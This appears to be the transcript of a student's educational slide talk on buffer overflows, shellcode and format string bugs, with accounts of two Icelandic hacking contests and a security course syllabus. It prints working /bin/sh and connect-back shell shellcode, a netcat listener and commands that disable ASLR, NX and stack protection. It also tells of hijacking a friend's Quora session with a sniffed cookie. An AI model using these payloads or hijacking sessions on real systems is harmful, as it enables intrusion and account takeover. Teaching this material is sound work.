pptx - trauzti

Download Report

Transcript pptx - trauzti


I am Trausti Saemundsson,
MSc student at Reykjavik
University in Iceland
a

My supervisor is Ymir Vigfusson

I´m here in London doing
research with Gregory Chockler
on a multitenant cache algorithm
Trausti
Ymir
Gregory

I have a BSc in Mathematics with focus on
Computer Science
 Went to the IMO (International Mathematical
Olympiad) in 2008


I really like programming contests!
Participated in:
 Facebook Hacker Cup 2013
 NWERC 2012 in Delft, The Netherlands. First Icelandic team!
 NCPC 2012
 IEEEXtreme 24-Hour Programming Competition 2012
 Google Code Jam 2012
 Projecteuler, 112 solved problems

Today I´m going to tell you about two
Icelandic hacking contests and show you a
video!

I will introduce the necessary concepts for
understanding what we were hacking

I will also introduce the schedule for a 3
week course “Computer Security” taught at
Reykjavik University in May 2013

To be able to defend ourselves!

In order to defend ourselves against hackers,
we must know how they think

By participating in a hacking contest,
students learn the concepts extremely fast

Hacking: The craft of exploiting software to
do something it is not supposed to do.

Buffer overflows, shellcodes and format
string exploits

If you haven´t heard about those concepts, I
will introduce them!
/* echo.c */
void echo() {
char buf[4]; /* Very small */
gets(buf);
/* Dangerous function */
puts(buf);
}
int main() {
printf(“Type a string:”);
echo();
}


Okay
Buffer overflow!
unix>./echo
Type a string:123
123
unix>./echo
Type a string:123456789ABC
123456789ABC
Segmentation Fault
/* safeecho.c */
void echo() {
char buf[4];
fgets(stdin, buf, 4); /* Read 3 bytes and add ‘\0’ */
puts(buf);
}
int main() {
printf(“Type a string:”);
echo();
}


Okay
Okay as well!
unix>./safeecho
Type a string:123
123
unix>./safeecho
Type a string:123456789ABC
123

C stores all variables on stack, but also other
important stuff!
 E.g. the address of where it was last executing (called the
return address)
Stack frame for
main
void echo() {
char buf[4];
gets(buf);
puts(buf);
}
int main() {
...
echo();
}
Return address
Old ebp
buf
Rest of stack frame
for echo
Stack grows down

The input from the user overwrites the return
address!
Stack frame for
main
void echo() {
char buf[4];
gets(buf);
puts(buf);
}
int main() {
...
echo();
}
Return address
inputOld
from
ebpuser
buf
Rest of stack frame
for echo
Could return
to anywhere!

Where would we want to return?
 Could return to OUR input buffer
 Treated as machine code! Can execute anything
Stack frame for
main
void echo() {
char buf[4];
gets(buf);
puts(buf);
}
int main() {
...
echo();
}
Return address
inputOld
from
ebpuser
buf
Rest of stack frame
for echo
Could return
to anywhere!

What do we want to execute?
 Could eject CDROM or delete all files
 Could launch a shell (say „/bin/bash“)
 Could open a new port and launch a shell there

The coolest thing to do with a buffer overflow is to
launch a shell!

A small piece of machine code that launches a shell
like /bin/bash is called a shellcode
/* Spawn a local shell */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

When executed, this shellcode stops the currently
running program and opens /bin/sh instead
char connectbackshell[] =
"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89"
"\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x68"
"\xc0\xa8\x01\x8f" // IP: 192.168.1.143
"\x66\x68"
"\x05\x39"
// Port: 1337
"\xb2\x02\x66\x52\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xb3\x03\xb0\x66\xcd\x80\x99\x56\x8b\x1c"
"\x24\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80"
"\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
When executed, this shellcode stops the currently
running program and opens a connect back shell to
192.168.1.143 on port 1337 instead
 The IP 192.168.1.143 must be listening on port 1337
with netcat:
nc –l –vv –p 1337



GCC stack protection
You can disable it by passing the compiler flag:
-fno-stack-protector


Address space layout randomization (ASLR)
It can be disabled in Linux with:
sysctl -w kernel.randomize_va_space=0


Non-executable protection (NX Bit)
Disable it by booting Linux up with the parameter:
noexec=off

The non executable protection makes parts of the
stack and the heap non-executable
We can get past the non-executable protection by
using:
 Return-oriented programming (ROP).


ROP is to cherry pick parts of the code that is
ALREADY executable to put together our evil code

Like making a mosaic!

Address space layout randomization (ASLR) is a
security method which randomizes the starting
address of the stack, heap and the executable code

One way to get past this is to use NOP slides

NOP (0x90) is a machine language instruction for
doing nothing

The technique is to make an exploit like this:
<address><a lot of nops><shellcode>

We overwrite the return address with <address>
and then we hope that some part of the NOP slide
is located at this address

If that happens, NOPs get executed one by one
until our shellcode gets executed 
/* fm.c */
int main() {
char buf[128];
printf(“Type a string:”);
gets(buf);
printf(buf);
}

Prints a value from the stack

Writes a value to the stack

Very dangerous!
unix>./fm
Type a string:%p
0xff8b7864
unix>./fm
Type a string:%n
unix>./fm
Type a string:%n%n%n%n%n
Segmentation fault

Format string vulnerabilities
 Using printf (cmd); instead of printf (“%s”, cmd);
 Lazy programmers… bugs like this still found!

Allows an attacker to investigate memory

Attacker can also write to an arbitrary address
 Using the %n primitive carefully
 Can take over the program, even remotely

Vulnerable chat server running on an Ubuntu 11.04
server

The C source code is available at
http://www.ymsir.com/contest.tgz

The contest had 4 different levels

Level 1: Read the source code and find a secret
string

Level 2: Make a function print a secret message

Level 3: Spawn a connect back shell via a buffer
overflow

Level 4: Use a format string exploit to spawn a
local shell
Two persons finished the fourth level
They competed in a final standoff in the Icelandic
television
 Had to spawn a shell with a buffer overflow



One file given:
http://ymsir.com/hacking/mystery.jpg

Several levels, with secret keywords to submit to
www.ymsir.com/hacking/

First one had to discover that the file was a gzipped
jpg file

Next to run f5-steganography on the jpg file to
extract a txt file with a link

The link contained a file

The file was a uuencoded C source code

The source code did a lot of random bit
manipulations to the two arguments, a string and
a number

The program then printed an IP address

The correct arguments to the C program were
given as hints in previous stages

The IP address that came from the C program
dumped some code on port 666

This code was a password protected ZIP archive

2d6aa9e26592e9cf8e40d7e6753b87ba was given at
a previous stage and this is md5(cracks) so the
password to the ZIP archive was cracks

The ZIP archive contained a TCPDUMP

By using wireshark to analyze the TCPDUMP, I
found Ymir´s session cookie to www.quora.com

So I used this session cookie
and changed his profile
picture to a cat

He got revenge by booting my laptop up into single
user mode and changing my facebook profile
picture:
And then he said on my half on facebook:
“Some people just want to see the world burn”


After that I settled for peace 

So I was not supposed to find this session cookie in
the TCPDUMP but I was supposed to find a link to
www.ymsir.com/ctf/ 

This website contains:
STAGE ZEBRA. Not authenticated.

When you give the website GET arguments:
www.ymsir.com/ctf/?user=ctf it contains:
*Hungry* for password
By using a hint from a previous level the password
was f00d, so by giving another argument:
www.ymsir.com/ctf/?user=ctf&password=f00d


This site contains a private RSA key!

It also contains an IP address in the HTTP header

Of course the RSA key was password protected
with the password cracks

By using the RSA key, the username: ctf and the IP
address one got into the server

The previous C source code had been compiled on
this server with privileges of the user: ctf-final

So next step was to find a buffer overflow
vulnerability in the source code!

Then exploit it!

And then you were eligible to compete in the finals

The finals were held on stage in a
big cinema in Iceland

Every contestant got an Ubuntu
8.04 virtual machine with the same
password

This virtual machine had several vulnerable C
programs running

There was also a program /publish which we ran on
the other computers to get points on the
scoreboard

Now I will show you a video of the contest!

I had a robust exploit ready which got me a
connect back shell to all the other computers

I ran it in the beginning of the contest and put a
while loop on every computer:

while true; do /publish trausti; sleep 1s;
done &

Helgi Kristvin however uses a Dvorak keyboard
and types extremely fast

Helgi Kristvin – The winner
Before I could change my SSH password, he
connected to my computer and replaced /bin/ps
with a program that printed an old output from
/bin/ps

So I could not kill his ssh session into my
computer! 

The participants of the contests had tremendous
fun!

Learnt a lot by themselves!
Also used resources like:
http://smashthestack.org/
http://insecure.org/stf/smashstack.html


And of course gdb 

Ymir Vigfusson (www.ymsir.com) is
the organizer of those hacking
contests

He will also teach a 3 week course
called Computer Security this spring

This course is focused on
vulnerabilities rather than
conventional security

More complex hacking techniques!

Schedule on next slide!

Week 1 (24/4 - 30/4)
 Review of x86 assembly & C. Day assignment: decompiling x86. (+5%)
 Basic buffer overflows in C programs. Lab #1: Buflab (10%)
 Shellcodes and stack overflows. Lab #2: Stacklab (10%)
 Wireless security. Optional lab: Wirelab (+5%)

Week 2 (1/5 – 7/5)
 Heap overflows. Lab #3: Presentation (10%)
 Defenses (NX, ASLR).
 Format string attacks. Lab #4: Formatlab (10%)

Week 3 (8/5-11/5)
 Web/logic and injection attacks. Lab #5: SQLlab (10%)
 Network security, spoofing, sniffing, botnets.
 Exploiting randomness. Lab #6: Entropylab (10%)

Final written exam (14/5?) (40%. Minimum 5.0/10.0 to pass)

You saw examples of Buffer overflows, shellcodes and
format string vulnerabilities

A brief overview of what happened at two Icelandic
hacking contests!

I hope you enjoyed this presentation

If you haven´t already, I hope that you will be holding
some Hacking Contests here!
 Thank you!